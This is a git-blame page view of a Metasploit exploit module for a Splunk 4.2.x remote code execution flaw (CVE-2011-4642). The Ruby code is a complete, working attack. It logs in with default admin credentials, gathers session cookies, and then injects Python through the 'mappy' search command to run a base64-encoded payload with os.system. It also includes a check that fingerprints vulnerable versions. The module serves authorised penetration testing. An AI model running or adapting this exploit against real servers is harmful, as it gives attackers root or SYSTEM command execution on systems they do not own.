Files
metasploit-gs/modules/exploits/multi/http/splunk_mappy_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

170 lines
4.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Splunk Search Remote Code Execution',
'Description' => %q{
This module abuses a command execution vulnerability in the
web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
in the 'mappy' search command which allows attackers to run Python code.
To exploit this vulnerability, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows and as root on Linux by default.
},
'Author' =>
[
"Gary O'Leary-Steele", # Vulnerability discovery and exploit
"juan vazquez" # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '77695' ],
[ 'BID', '51061' ],
[ 'CVE', '2011-4642' ],
[ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ],
2015-10-27 12:41:32 -05:00
[ 'URL', 'http://www.sec-1.com/blog/?p=233' ]
],
'Payload' =>
{
'Space' => 1024,
'Badchars' => '',
'DisableNops' => true
},
'Platform' => %w{ linux unix win },
'Targets' =>
[
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => %w{ linux unix win }
}
]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-12-12'))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
])
end
2013-08-30 16:28:54 -05:00
def exploit
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
@auth_cookies = ''
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)
2013-08-30 16:28:54 -05:00
print_status("Attempting to login...")
do_login
2013-08-30 16:28:54 -05:00
send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => @auth_cookies,
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Session' => @auth_cookies.split("=")[1]
},
'vars_post' =>
{
'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
'status_buckets' => "300",
'earliest_time' => "0",
'latest_time' => ""
}
}, 25)
handler
end
2013-08-30 16:28:54 -05:00
def check
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
2013-08-30 16:28:54 -05:00
if res and res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
def do_login
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
2013-08-30 16:28:54 -05:00
cval = ''
uid = ''
session_id_port =
session_id = ''
2014-05-13 22:56:12 +02:00
if res and res.code == 200 and !res.get_cookies.empty?
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotFound, "Unable to get session cookies")
end
2013-08-30 16:28:54 -05:00
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
}, 25)
2013-08-30 16:28:54 -05:00
if not res or res.code != 303
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoAccess, "Unable to authenticate")
else
session_id_port = ''
session_id = ''
2014-05-13 22:56:12 +02:00
res.get_cookies.split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
@auth_cookies = "#{session_id_port}=#{session_id}"
end
2013-08-30 16:28:54 -05:00
end
end